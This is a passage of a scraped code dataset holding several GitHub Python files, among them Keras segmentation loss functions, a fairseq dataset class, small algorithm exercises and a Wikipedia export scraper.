scipy.optimize import least_squares\nu = lambda p: 0.5*(K@p-F)**2\nUls = least_squares(u, np.zeros(K.shape[1]))\nU = Uls.x\n\n# U = np.linalg.pinv(K) @ F\n# U = np.linalg.solve(K.T @ K, K.T @ F)\n# U = np.linalg.solve(K,F)\n\nfig = plt.figure(figsize=(7,7))\nax = plt.axes(projection='3d')\nax.plot_trisurf(coords[:,0], coords[:,1], U,\n cmap=plt.get_cmap('cool'),\n edgecolor=(0,0,0,0.2),\n alpha=0.75)\nax.view_init(azim=-140, elev=30)\nax.set_xlabel('x')\nax.set_ylabel('y')\nax.set_zlabel('U')\n\n# fig = plt.figure(figsize=(7,7))\n# ax = plt.axes(projection='3d')\n# ax.plot_trisurf(coords[:,0], coords[:,1], np.linalg.solve(K[:-len(bI0),:],F[:-len(bI0)]))\n# ax.view_init(azim=-140, elev=30)\n# ax.set_xlabel('x')\n# ax.set_ylabel('y')\n# ax.set_zlabel('U')\n\nplt.show()\n# %%\n","repo_name":"RicardoRG73/GFDMI","sub_path":"example11.py","file_name":"example11.py","file_ext":"py","file_size_in_byte":5117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9513981970","text":"#!/usr/bin/python3\ndef no_c(my_string):\n str = \"\"\n for i in my_string:\n if i == 'c' or i == 'C':\n # print(\"{}\".format(\"\"), end=\"\")\n str = str + \"\"\n else:\n # print(\"{}\".format(i), end=\"\")\n str = str + (\"{}\".format(i))\n return str\n","repo_name":"sandeep4741/volksy-tech-higher_level_programming","sub_path":"python-data_structures/5-no_c.py","file_name":"5-no_c.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"41965184335","text":"import tensorflow as tf\nfrom keras import backend as K\nfrom tensorflow.python.ops import array_ops\n\n\n# https://blog.csdn.net/wangdongwei0/article/details/84576044\ndef log_loss(y_true, y_pred):\n return K.categorical_crossentropy(y_true, y_pred)\n\n\n# TODO: TO BE TESTED\n# binary dice loss\ndef _dice_coef_binary(y_true, y_pred, smooth=1):\n intersection = K.sum(y_true * y_pred, axis=[1,2,3])\n union = K.sum(y_true, axis=[1,2,3]) + K.sum(y_pred, axis=[1,2,3])\n return K.mean( (2. * intersection + smooth) / (union + smooth), axis=0)\n\n\ndef dice_coef_loss_binary(y_true, y_pred):\n return 1 - _dice_coef_binary(y_true, y_pred, smooth=1)\n\n\n# y_true and y_pred should be one-hot\n# y_true.shape = (None,Width,Height,Channel)\n# y_pred.shape = (None,Width,Height,Channel)\ndef _dice_coef_multiclass(y_true, y_pred, smooth=1):\n mean_loss = 0\n for i in range(y_pred.shape(-1)):\n intersection = K.sum(y_true[:,:,:,i] * y_pred[:,:,:,i], axis=[1,2,3])\n union = K.sum(y_true[:,:,:,i], axis=[1,2,3]) + K.sum(y_pred[:,:,:,i], axis=[1,2,3])\n mean_loss += (2. * intersection + smooth) / (union + smooth)\n return K.mean(mean_loss, axis=0)\n\n\ndef dice_coef_loss_multiclass(y_true, y_pred):\n return 1 - _dice_coef_multiclass(y_true, y_pred, smooth=1)\n\n\ndef focal_loss(y_true, y_pred):\n gamma = 2\n alpha = 0.25\n pt_1 = tf.where(tf.equal(y_true, 1), y_pred, tf.ones_like(y_pred))\n pt_0 = tf.where(tf.equal(y_true, 0), y_pred, tf.zeros_like(y_pred))\n\n pt_1 = K.clip(pt_1, 1e-3, .999)\n pt_0 = K.clip(pt_0, 1e-3, .999)\n\n return -K.sum(alpha * K.pow(1. - pt_1, gamma) * K.log(pt_1)) - K.sum(\n (1 - alpha) * K.pow(pt_0, gamma) * K.log(1. - pt_0))\n\n\ndef categorical_crossentropy_seg(y_true, y_pred):\n \"\"\"\n :param y_true: tensor of shape (batch_size, height, width, n_class)\n :param y_pred: tensor of shape (batch_size, height, width, n_class)\n probability predictions after softmax\n :return: categorical cross-entropy\n \"\"\"\n n_class = K.int_shape(y_pred)[-1]\n\n y_true = K.reshape(y_true, (-1, n_class))\n y_pred = K.log(K.reshape(y_pred, (-1, n_class)))\n\n cross_entropy = -K.sum(y_true * y_pred, axis=1)\n cross_entropy_mean = K.mean(cross_entropy)\n\n return cross_entropy_mean\n\n\ndef sparse_categorical_crossentropy_seg(y_true, y_pred):\n \"\"\" calculate cross-entropy of the one-hot prediction and the sparse gt.\n :param y_true: tensor of shape (batch_size, height, width)\n :param y_pred: tensor of shape (batch_size, height, width, n_class)\n :return: categorical cross-entropy\n \"\"\"\n n_class = K.int_shape(y_pred)[-1]\n\n y_true = K.one_hot(tf.to_int32(K.flatten(y_true)), n_class)\n y_pred = K.log(K.reshape(y_pred, (-1, n_class)))\n\n cross_entropy = -K.sum(y_true * y_pred, axis=1)\n cross_entropy_mean = K.mean(cross_entropy)\n\n return cross_entropy_mean\n\n\ndef lovasz_grad(gt_sorted):\n \"\"\"\n Computes gradient of the Lovasz extension w.r.t sorted errors\n See Alg. 1 in paper\n \"\"\"\n gts = tf.reduce_sum(gt_sorted)\n intersection = gts - tf.cumsum(gt_sorted)\n union = gts + tf.cumsum(1. - gt_sorted)\n jaccard = 1. - intersection / union\n jaccard = tf.concat((jaccard[0:1], jaccard[1:] - jaccard[:-1]), 0)\n return jaccard\n\n\n# --------------------------- BINARY LOSSES ---------------------------\n\n\ndef lovasz_hinge(logits, labels, per_image=True, ignore=None):\n \"\"\"\n Binary Lovasz hinge loss\n logits: [B, H, W] Variable, logits at each pixel (between -\\infty and +\\infty)\n labels: [B, H, W] Tensor, binary ground truth masks (0 or 1)\n per_image: compute the loss per image instead of per batch\n ignore: void class id\n \"\"\"\n if per_image:\n def treat_image(log_lab):\n log, lab = log_lab\n log, lab = tf.expand_dims(log, 0), tf.expand_dims(lab, 0)\n log, lab = flatten_binary_scores(log, lab, ignore)\n return lovasz_hinge_flat(log, lab)\n losses = tf.map_fn(treat_image, (logits, labels), dtype=tf.float32)\n loss = tf.reduce_mean(losses)\n else:\n loss = lovasz_hinge_flat(*flatten_binary_scores(logits, labels, ignore))\n return loss\n\n\ndef lovasz_hinge_flat(logits, labels):\n \"\"\"\n Binary Lovasz hinge loss\n logits: [P] Variable, logits at each prediction (between -\\infty and +\\infty)\n labels: [P] Tensor, binary ground truth labels (0 or 1)\n ignore: label to ignore\n \"\"\"\n\n def compute_loss():\n labelsf = tf.cast(labels, logits.dtype)\n signs = 2. * labelsf - 1.\n errors = 1. - logits * tf.stop_gradient(signs)\n errors_sorted, perm = tf.nn.top_k(errors, k=tf.shape(errors)[0], name=\"descending_sort\")\n gt_sorted = tf.gather(labelsf, perm)\n grad = lovasz_grad(gt_sorted)\n loss = tf.tensordot(tf.nn.relu(errors_sorted), tf.stop_gradient(grad), 1, name=\"loss_non_void\")\n return loss\n\n # deal with the void prediction case (only void pixels)\n loss = tf.cond(tf.equal(tf.shape(logits)[0], 0),\n lambda: tf.reduce_sum(logits) * 0.,\n compute_loss,\n strict=True,\n name=\"loss\"\n )\n return loss\n\n\ndef flatten_binary_scores(scores, labels, ignore=None):\n \"\"\"\n Flattens predictions in the batch (binary case)\n Remove labels equal to 'ignore'\n \"\"\"\n scores = tf.reshape(scores, (-1,))\n labels = tf.reshape(labels, (-1,))\n if ignore is None:\n return scores, labels\n valid = tf.not_equal(labels, ignore)\n vscores = tf.boolean_mask(scores, valid, name='valid_scores')\n vlabels = tf.boolean_mask(labels, valid, name='valid_labels')\n return vscores, vlabels\n\n\n# --------------------------- MULTICLASS LOSSES ---------------------------\ndef sparse_lovasz_softmax(labels, probas, classes='all', per_image=False, ignore=0, order='BHWC'):\n \"\"\"\n Multi-class Lovasz-Softmax loss\n probas: [B, H, W, C] or [B, C, H, W] Variable, class probabilities at each prediction (between 0 and 1)\n labels: [B, H, W] Tensor, ground truth labels (between 0 and C - 1)\n classes: 'all' for all, 'present' for classes present in labels, or a list of classes to average.\n per_image: compute the loss per image instead of per batch\n ignore: void class labels\n order: use BHWC or BCHW\n \"\"\"\n if per_image:\n def treat_image(prob_lab):\n prob, lab = prob_lab\n prob, lab = tf.expand_dims(prob, 0), tf.expand_dims(lab, 0)\n prob, lab = flatten_probas(prob, lab, ignore, order)\n return lovasz_softmax_flat(prob, lab, classes=classes)\n losses = tf.map_fn(treat_image, (probas, labels), dtype=tf.float32)\n loss = tf.reduce_mean(losses)\n else:\n loss = lovasz_softmax_flat(*flatten_probas(probas, labels, ignore, order), classes=classes)\n return loss\n\n\ndef lovasz_softmax_flat(probas, labels, classes='all'):\n \"\"\"\n Multi-class Lovasz-Softmax loss\n probas: [P, C] Variable, class probabilities at each prediction (between 0 and 1)\n labels: [P] Tensor, ground truth labels (between 0 and C - 1)\n classes: 'all' for all, 'present' for classes present in labels, or a list of classes to average.\n \"\"\"\n C = probas.shape[1]\n losses = []\n present = []\n class_to_sum = list(range(C)) if classes in ['all', 'present'] else classes\n for c in class_to_sum:\n fg = tf.cast(tf.equal(labels, c), probas.dtype) # foreground for class c\n if classes == 'present':\n present.append(tf.reduce_sum(fg) > 0)\n errors = tf.abs(fg - probas[:, c])\n errors_sorted, perm = tf.nn.top_k(errors, k=tf.shape(errors)[0], name=\"descending_sort_{}\".format(c))\n fg_sorted = tf.gather(fg, perm)\n grad = lovasz_grad(fg_sorted)\n losses.append(\n tf.tensordot(errors_sorted, tf.stop_gradient(grad), 1, name=\"loss_class_{}\".format(c))\n )\n if len(class_to_sum) == 1: # short-circuit mean when only one class\n return losses[0]\n losses_tensor = tf.stack(losses)\n if classes == 'present':\n present = tf.stack(present)\n losses_tensor = tf.boolean_mask(losses_tensor, present)\n loss = tf.reduce_mean(losses_tensor)\n return loss\n\n\ndef flatten_probas(probas, labels, ignore=None, order='BHWC'):\n \"\"\"\n Flattens predictions in the batch\n \"\"\"\n if order == 'BCHW':\n probas = tf.transpose(probas, (0, 2, 3, 1), name=\"BCHW_to_BHWC\")\n order = 'BHWC'\n if order != 'BHWC':\n raise NotImplementedError('Order {} unknown'.format(order))\n C = probas.shape[3]\n probas = tf.reshape(probas, (-1, C))\n labels = tf.reshape(labels, (-1,))\n if ignore is None:\n return probas, labels\n valid = tf.not_equal(labels, ignore)\n vprobas = tf.boolean_mask(probas, valid, name='valid_probas')\n vlabels = tf.boolean_mask(labels, valid, name='valid_labels')\n return vprobas, vlabels\n\n\ndef lovasz_softmax(y_true, y_pred):\n y_true = K.expand_dims(K.argmax(y_true, axis=-1), -1)\n # l_pred = tf.cast(y_pred, y_true.dtype)\n return sparse_lovasz_softmax(y_true, y_pred)\n","repo_name":"liuph0119/Semantic_Segmentation_Keras","sub_path":"core/utils/loss_utils.py","file_name":"loss_utils.py","file_ext":"py","file_size_in_byte":9137,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"3"} +{"seq_id":"26544584484","text":"# This source code is licensed under the license found in the LICENSE file in\n# the root directory of this source tree. An additional grant of patent rights\n# can be found in the PATENTS file in the same directory.\n\nimport torch\n\nfrom fairseq import utils\n\nfrom . import data_utils, LanguagePairDataset\n\n\ndef collate(\n samples, pad_idx, eos_idx, left_pad_source=True, left_pad_target=False,\n input_feeding=True,\n):\n if len(samples) == 0:\n return {}\n\n def merge(key, left_pad, item=None, move_eos_to_beginning=False):\n return data_utils.collate_tokens(\n [s[key] if item is None else s[key][item] for s in samples],\n pad_idx, eos_idx, left_pad, move_eos_to_beginning,\n )\n\n def split(tensors, key, maxspan=False):\n \"\"\"\n The original segments and positions are concatenated as as list for the sake of memory-saving.\n Now split them into chunks.\n \"\"\"\n tensors = torch.split(tensors, key.tolist())\n\n if maxspan:\n maxspan = max(len(t) for t in tensors)\n return tensors, maxspan\n\n return tensors\n \n\n def merge_tgt():\n # positions of each segment\n segs_pos = [split(s[\"target\"][1], s[\"target\"][3], True) for s in samples]\n # segments\n segments = [split(s[\"target\"][2], s[\"target\"][3]) for s in samples]\n\n maxspan = max([v[1] for v in segs_pos])\n max_step = max(map(lambda x:len(x), segments))\n bsz = len(samples)\n\n segs_pos_tensor = torch.full((bsz, max_step+1, maxspan), max_step, dtype=torch.long)\n segments_tensor = torch.full((bsz, max_step+1, maxspan), pad_idx, dtype=torch.long)\n\n for i in range(bsz):\n for j, segment in enumerate(segments[i]):\n segs_pos_tensor[i][j][:len(segment)].copy_(segs_pos[i][0][j])\n segments_tensor[i][j][:len(segment)].copy_(segment)\n #segs_pos_tensor[i][j][:len(segment)] = torch.tensor(segs_pos[i][0][j]).long()\n #segments_tensor[i][j][:len(segment)] = torch.tensor(segment).long()\n\n return segs_pos_tensor, segments_tensor\n\n id = torch.LongTensor([s['id'] for s in samples])\n src_tokens = merge('source', left_pad=left_pad_source)\n # sort by descending source length\n src_lengths = torch.LongTensor([s['source'][0].numel() for s in samples])\n src_lengths, sort_order = src_lengths.sort(descending=True)\n id = id.index_select(0, sort_order)\n src_tokens = src_tokens.index_select(0, sort_order)\n\n prev_output_tokens = None\n target = None\n if samples[0].get('target', None) is not None:\n # maxspan = max([s[\"target\"][-1] for s in samples])\n segs_pos, segments = merge_tgt()\n segs_pos = segs_pos.index_select(0, sort_order)\n segments = segments.index_select(0, sort_order)\n ntokens = sum(len(s['target'][0]) for s in samples)\n\n if input_feeding:\n # we create a shifted version of targets for feeding the\n # previous output token(s) into the next decoder step\n prev_output_tokens = merge(\n 'target',\n left_pad=left_pad_target,\n item=0,\n move_eos_to_beginning=True,\n )\n prev_output_tokens = prev_output_tokens.index_select(0, sort_order)\n\n else:\n ntokens = sum(len(s['source']) for s in samples)\n\n batch = {\n 'id': id,\n 'ntokens': ntokens,\n 'net_input': {\n 'src_tokens': src_tokens,\n 'src_lengths': src_lengths,\n },\n 'target': {\n 'segs_pos': segs_pos,\n 'segments': segments,\n },\n 'nsentences': samples[0]['source'].size(0),\n }\n if prev_output_tokens is not None:\n batch['net_input']['prev_output_tokens'] = prev_output_tokens\n return batch\n\n\nclass LanguagePairSegDataset(LanguagePairDataset):\n \"\"\"\n A pair of torch.utils.data.Datasets.\n\n Args:\n src (torch.utils.data.Dataset): source dataset to wrap\n src_sizes (List[int]): source sentence lengths\n src_dict (~fairseq.data.Dictionary): source vocabulary\n tgt (torch.utils.data.Dataset, optional): target dataset to wrap\n tgt_sizes (List[int], optional): target sentence lengths\n tgt_dict (~fairseq.data.Dictionary, optional): target output vocabulary\n tgt_in_dict (~fairseq.data.Dictionary, optional): target input vocabulary\n left_pad_source (bool, optional): pad source tensors on the left side.\n Default: ``True``\n left_pad_target (bool, optional): pad target tensors on the left side.\n Default: ``False``\n max_source_positions (int, optional): max number of tokens in the source\n sentence. Default: ``1024``\n max_target_positions (int, optional): max number of tokens in the target\n sentence. Default: ``1024``\n shuffle (bool, optional): shuffle dataset elements before batching.\n Default: ``True``\n input_feeding (bool, optional): create a shifted version of the targets\n to be passed into the model for input feeding/teacher forcing.\n Default: ``True``\n remove_eos_from_source (bool, optional): if set, removes eos from end of\n source if it's present. Default: ``False``\n append_eos_to_target (bool, optional): if set, appends eos to end of\n target if it's absent. Default: ``False``\n \"\"\"\n def __init__(\n self, src, src_sizes, src_dict,\n tgt=None, tgt_sizes=None, tgt_dict=None, tgt_in_dict=None,\n left_pad_source=True, left_pad_target=False,\n max_source_positions=1024, max_target_positions=1024,\n shuffle=True, input_feeding=True, remove_eos_from_source=False, append_eos_to_target=False,\n ):\n super().__init__(src, src_sizes, src_dict,\n tgt, tgt_sizes, tgt_dict,\n left_pad_source, left_pad_target,\n max_source_positions, max_target_positions,\n shuffle, input_feeding, remove_eos_from_source, append_eos_to_target)\n if tgt_in_dict is not None:\n assert tgt_in_dict.pad() == tgt_dict.pad()\n assert tgt_in_dict.eos() == tgt_dict.eos()\n assert tgt_in_dict.unk() == tgt_dict.unk()\n self.tgt_in_dict = tgt_in_dict\n\n def __getitem__(self, index):\n tgt_item, tgt_segs_pos, tgt_segs, tgt_segs_len = self.tgt[index] if self.tgt is not None else None\n src_item = self.src[index]\n # Append EOS to end of tgt sentence if it does not have an EOS and remove\n # EOS from end of src sentence if it exists. This is useful when we use\n # use existing datasets for opposite directions i.e., when we want to\n # use tgt_dataset as src_dataset and vice versa\n if self.append_eos_to_target:\n eos = self.tgt_dict.eos() if self.tgt_dict else self.src_dict.eos()\n if self.tgt and self.tgt[index][0][-1] != eos:\n tgt_item = torch.cat([self.tgt[index][0], torch.LongTensor([eos])])\n\n if self.remove_eos_from_source:\n eos = self.src_dict.eos()\n if self.src[index][-1] == eos:\n src_item = self.src[index][:-1]\n\n return {\n 'id': index,\n 'source': src_item,\n 'target': (tgt_item, tgt_segs_pos, tgt_segs, tgt_segs_len),\n }\n\n def __len__(self):\n return len(self.src)\n\n def collater(self, samples):\n \"\"\"Merge a list of samples to form a mini-batch.\n\n Args:\n samples (List[dict]): samples to collate\n\n Returns:\n dict: a mini-batch with the following keys:\n\n - `id` (LongTensor): example IDs in the original input order\n - `ntokens` (int): total number of tokens in the batch\n - `net_input` (dict): the input to the Model, containing keys:\n\n - `src_tokens` (LongTensor): a padded 2D Tensor of tokens in\n the source sentence of shape `(bsz, src_len)`. Padding will\n appear on the left if *left_pad_source* is ``True``.\n - `src_lengths` (LongTensor): 1D Tensor of the unpadded\n lengths of each source sentence of shape `(bsz)`\n - `prev_output_tokens` (LongTensor): a padded 2D Tensor of\n tokens in the target sentence, shifted right by one position\n for input feeding/teacher forcing, of shape `(bsz,\n tgt_len)`. This key will not be present if *input_feeding*\n is ``False``. Padding will appear on the left if\n *left_pad_target* is ``True``.\n\n - `target` (LongTensor): a padded 2D Tensor of tokens in the\n target sentence of shape `(bsz, tgt_len)`. Padding will appear\n on the left if *left_pad_target* is ``True``.\n \"\"\"\n return collate(\n samples, pad_idx=self.src_dict.pad(), eos_idx=self.src_dict.eos(),\n left_pad_source=self.left_pad_source, left_pad_target=self.left_pad_target,\n input_feeding=self.input_feeding,\n )\n\n def get_dummy_batch(self, num_tokens, max_positions, src_len=128, tgt_len=128):\n \"\"\"Return a dummy batch with a given number of tokens.\"\"\"\n src_len, tgt_len = utils.resolve_max_positions(\n (src_len, tgt_len),\n max_positions,\n (self.max_source_positions, self.max_target_positions),\n )\n bsz = max(num_tokens // max(src_len, tgt_len), 1)\n return self.collater([\n {\n 'id': i,\n 'source': self.src_dict.dummy_sentence(src_len),\n 'target': (self.tgt_in_dict.dummy_sentence(tgt_len), *self.tgt_dict.dummy_sentence(tgt_len, True))\n }\n for i in range(bsz)\n ])\n","repo_name":"xlhex/dpe","sub_path":"fairseq/data/language_pair_segdataset.py","file_name":"language_pair_segdataset.py","file_ext":"py","file_size_in_byte":9956,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"3"} +{"seq_id":"32323452215","text":"from .maler import LinkedListBase\nfrom .maler import OneDirNode as Node\n\n\nclass Queue(LinkedListBase):\n def __init__(self, *values) -> None:\n self.start = None\n self.end = None\n self.length = -1\n\n for value in values:\n self.enqueue(value)\n\n def enqueue(self, value) -> None:\n if self.length < 0:\n self.start = Node(value)\n self.end = self.start\n self.length = 0\n return\n self.end.next = Node(value)\n self.end.next.prev = self.end\n self.end = self.end.next\n self.length += 1\n\n def dequeue(self):\n value = self.start.value\n self.start = self.start.next\n self.length -= 1\n return value\n\n def peek(self):\n return self.start.value\n","repo_name":"SigveP/Algoritmer_og_datastrukturer","sub_path":"datastrukturer/queue.py","file_name":"queue.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39307370096","text":"from math import inf\n\n# As seen at: https://es.wikibooks.org/wiki/Optimizaci%C3%B3n_del_Producto_de_Matrices\n\nN = int(input())\nsizes = tuple(int(input()) for _ in range(N))\nmemo = {(i, i): 0 for i in range(1, N + 1)}\n\nmin_ = inf\nfor diagonal in range(1, N):\n for row in range(1, N - diagonal):\n ## mínimo dp\n # col >= row, row es el puesto de la matriz de la izquierda y col de la derecha (row + diagonal)\n current_min = inf\n for k in range(row, row + diagonal):\n #print(row, k, row + diagonal, memo)\n val = memo[(row, k)] + memo[(k + 1, row + diagonal)] + (sizes[row - 1] * sizes[k] * sizes[row + diagonal])\n if val < current_min:\n current_min = val\n memo[(row, row + diagonal)] = current_min\n#print(memo)\nprint(memo[(1, N - 1)])\n","repo_name":"santilaguna/EDD-alumno","sub_path":"T4/E.py","file_name":"E.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8769252695","text":"import utils\nimport numpy as np\nfrom tqdm import tqdm\n\n\nword_list = {}\ntrain_set = utils.load_dataset(\"data/brown-training.txt\")\n\nfor sentence in tqdm(range(len(train_set))):\n for pair in train_set[sentence]:\n if pair[0] in word_list:\n del word_list[pair[0]]\n else:\n word_list[pair[0]] = 1\n\ndef count_prefix(word_list, count):\n prefix_freq = {}\n\n for word in word_list.keys():\n prefix = word[:count]\n if prefix not in prefix_freq:\n prefix_freq[prefix] = 1\n else:\n prefix_freq[prefix] += 1\n\n return dict(sorted(prefix_freq.items(), key=lambda item: item[1]))\n\ndef count_sufix(word_list, count):\n sufix_freq = {}\n\n for word in word_list:\n sufix = word[-count:]\n if sufix not in sufix_freq:\n sufix_freq[sufix] = 1\n else:\n sufix_freq[sufix] += 1\n return sufix_freq\n\nprefix_dic = count_prefix(word_list, 3)\nprefix_list = []\nfor i in prefix_dic:\n if prefix_dic[i] > 300:\n prefix_list.append(i)\nprint(\"Frequent prefix is \", prefix_list)\n\n\nsufix_dic = count_sufix(word_list, 3)\nsufix_list = []\nfor i in sufix_dic:\n if sufix_dic[i] > 300:\n sufix_list.append(i)\nprint(\"Frequent sufix is \", sufix_list)","repo_name":"Geyuhao/CS-440","sub_path":"assignment4/check_prefix.py","file_name":"check_prefix.py","file_ext":"py","file_size_in_byte":1254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19602221631","text":"#wikiprojectexport.py\n#This script uses the Special:Export method to retrieve information about all wiki groups\n\n\nimport urllib2, os, time, re\n\nbasepath = \"data/\"\n\ndef main():\n\n #open the file which lists projects and make a list of them\n f = open(\"wikiproject_list_2013.csv\", \"r\")\n global projects\n projects = {}\n\n #open a logging file\n global logfile\n logfile = open(\"log.txt\", \"w\")\n\n #loop through the file and retrieve the data from each project\n text = f.read()\n lines = text.split(\"\\r\")\n for line in lines:\n \n nl = line.split(\",\")\n link = nl[1]\n \n #Make sure it is actually a wikiproject\n check = re.search(\"WikiProject\", link)\n if not check:\n continue\n \n \n namespace = link[29:]\n shortname = namespace[22:].rstrip()\n projects[namespace] = shortname\n\n\n #loop through the projects and perform the export\n counter = 0\n for project in projects:\n \n #if counter > 0:\n # break\n #counter += 1\n # Delay by one second\n time.sleep(1)\n \n #retrieve the xml file from wikipedia\n \n try:\n retrieve(project)\n except:\n logfile.write(\"There was a problem with \" + project + \"\\n\")\n#Method to call the Special:Export function\n\ndef retrieve(project):\n\n logfile.write(\"retrieving project: \" + project + \"\\n\")\n #Build the url\n\n url = \"http://en.wikipedia.org/w/index.php?title=Special:Export&pages=\" + project + \"&dir=desc&history=true&listauthors=true&templates=false\"\n\n \n\n #Use a user agent to bypass wikipedia's restrictions for bots\n opener = urllib2.build_opener() \n opener.addheaders = [('User-agent', 'MyBrowser')]\n infile = opener.open(url)\n\n #pull out the text and save it to a file\n text = infile.read()\n\n #define a shortname for the project\n #if len(project) > 21:\n # shortname = project[22:]\n # shortname = re.sub(\"[//,/*]\",\"-\", shortname)\n # \n #else:\n # shortname = project\n # shortname = re.sub(\":\", \"-\")\n # logfile.write(\"fail: \" + project + \"\\n\")\n # print \"fail: \" + project\n ##make a folder for the project and write the xml from the request\n \n \n \n shortname = projects[project]\n \n \n try:\n os.mkdir(basepath+shortname)\n outfile = open(basepath+shortname+\"/\"+shortname+\".xml\", \"w\")\n \n outfile.write(text)\n logfile.write(\"Success for: \" + project +\"**********\\n\")\n except:\n logfile.write(\"problem with: \" + project + \"\\n\")\n \n\n\nmain()\n","repo_name":"jacobsolomon15/wikiprojects","sub_path":"data_prep/wikiprojectexport.py","file_name":"wikiprojectexport.py","file_ext":"py","file_size_in_byte":2626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13935139541","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\ndef dichotomie_n(f,a,b,n):\n for i in range(n):\n m = (a+b)/2\n if f(m)*f(a) < 0:\n b = m\n else:\n a= m\n return (a+b)/2\n\n\ndef dichotomie_2(f, a, b, n):\n for _ in range(n):\n m = (a+b)/2\n if f(a)*f(m) < 0:\n b = m\n else :\n a = m\n if abs(f(a)) < abs(f(b)):\n return a\n else:\n return b\n\ncarre = lambda x : x**2 -2\n\n\nN = []\nprecisions_th = []\nprecisions_eff = []\n\nfor i in range(1,51):\n N.append(i)\n resultat = dichotomie_n(carre,0,4,i)\n precisions_th.append(4/2**i)\n precisions_eff.append(abs(2**0.5-resultat))\n\nplt.plot(N, precisions_th , \"r\", label=\"Precision theorique\")\nplt.plot(N, precisions_eff , \"b\", label=\"Precision effective\")\nplt.grid()\nplt.yscale('log')\nplt.legend ()\nplt.show()","repo_name":"Brice-Vergnou/useful_scripts","sub_path":"info_inp/s1/avant_ds/6_5.py","file_name":"6_5.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30866184991","text":"#1:\tStart finding solution at 1\n#2: Try to quickly find the next solution based on the last one\n#3: If that fails, try finding the path using a brute force method\n#4:\tAfter a solution is found (on step 2 or 3) print it, and increment n, goto #1\n#5:\tOtherwise, print why it failed and then goto #1.\n\ndef main():\n\tcurentSize = 0\n\tsolList = []\n\tlastSolution = None\n\tsolFound = False\n\twhile True:\n\t\tprint(\"Finding solution for\",curentSize+1)\n\t\tif(lastSolution is not None):\n\t\t\tsolFound = False\n\t\t\t#Generate Square Graph to be used in find next\n\t\t\tsquareGraph = generateSquareGraph(curentSize+1)\n\t\t\tfor s in getNextPerm(lastSolution):\n\t\t\t\tn = findNext(s,squareGraph)\n\t\t\t\tif(n is not None):\n\t\t\t\t\tif(not sanityCheck(n)):\n\t\t\t\t\t\tprint(\"Error, failing sanity check\")\n\t\t\t\t\tprint(\"Next solution found for\",curentSize+1)\n\t\t\t\t\tsolList.append([curentSize+1,n])\n\t\t\t\t\tlastSolution = n\n\t\t\t\t\tcurentSize += 1\n\t\t\t\t\tsolFound = True\n\t\t\t\t\tprint(lastSolution)\n\t\t\t\t\tinput()\n\t\t\t\t\tbreak\n\t\t\tif(solFound):\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tprint(\"No quick solution for\",curentSize+1,\"was found\")\n\t\tprint(\"starting brute force method\")\n\t\tlastSolution = hamiltonianPath(generateSquareGraph(curentSize+1),lastSolution)[0]\n\t\tsolList.append([curentSize+1,lastSolution])\n\t\tprint(lastSolution)\n\t\tif(type(lastSolution) == type(\"\")):\n\t\t\tlastSolution = None\n\t\tcurentSize += 1\n\t\tinput()\n\n#Creates a graph for all numbers up to n, which relates two number if their sum\n#\tis a square number. The edges are bidirectional, and represented on both numbers.\ndef generateSquareGraph(n):\n\t#Generate List of Squares less than n\n\tsquares = []\n\ti = 1\n\twhile(i**2 <= 2*n):\n\t\tsquares.append(i**2)\n\t\ti += 1\n\t\n\tgraphDict = {}\n\t\n\tfor i in range(1,n+1):\n\t\tl = []\n\t\tfor s in squares:\n\t\t\tif(s > i and s-i <= n and s-i != i):\n\t\t\t\tl.append(s-i)\n\t\tgraphDict[i] = set(l)\n\treturn graphDict\t\n\n#Ensures a solution is valid\ndef sanityCheck(sol):\n\tn = max(sol)\n\t\n\t#Generate the relevant list of squares\n\tsquares = []\n\ti = 1\n\twhile(i**2 <= 2*n):\n\t\tsquares.append(i**2)\n\t\ti += 1\n\tsquares = set(squares)\n\t\n\t#Check all items add to a square\n\tfor i in range(len(sol)-1):\n\t\tif((sol[i] + sol[i+1]) not in squares):\n\t\t\treturn False\n\t\t\t\n\t#Check all numbers are represented exactly once\n\tcounts = [0]*n\n\tfor i in sol:\n\t\tif(i < 0 or i > n):\n\t\t\treturn False\n\t\tcounts[i-1] += 1\n\tfor c in counts:\n\t\tif c != 1:\n\t\t\treturn False\n\t\n\treturn True\n\n#Takes string representation of a solution and returns the list\ndef toList(sol):\n\tsol = sol.replace(\"[\",\"\")\n\tsol = sol.replace(\"]\",\"\")\n\treturn [int(x) for x in sol.split(\", \")]\n\n#Takes list representation of a solution and returns the hashable string\ndef toString(sol):\n\ts2 = [str(x) for x in sol]\n\treturn \", \".join(s2)\n\n#Generates more solutions from a single solution by performing\n#\tmutating the list by pairing and end of the list to a matching\n#\telement on the inside. The list is cut at the match, one portion is reversed\n#\tand the new lists are stitched together by the matching element and the end it matched.\n\n#This is useful for creating new solutions for the \"findNext\" solution to attempt\n#\tto quickly solve. It turns out, as the size of the list increases, the odds\n#\tthis method of finding the next solution works should DRAMATICALLY increase.\ndef getNextPerm(sol):\n\tfrontier = set([toString(sol)])\n\tvisited = set()\n\tn = max(sol)\n\tg = generateSquareGraph(n)\n\t\n\tsquares = []\n\ti = 1\n\twhile(i**2 <= 2*n):\n\t\tsquares.append(i**2)\n\t\ti += 1\n\t\n\tnewSolutions = []\n\twhile len(frontier) > 0:\n\t\tnextStr = frontier.pop()\n\t\tvisited.add(nextStr)\n\t\tnext = toList(nextStr)\n\t\t\n\t\tfirst = next[0]\n\t\tlast = next[-1]\n\t\t\n\t\tfirstMatch = g[first]\n\t\tlastMatch = g[last]\n\t\t\n\t\tfor f in 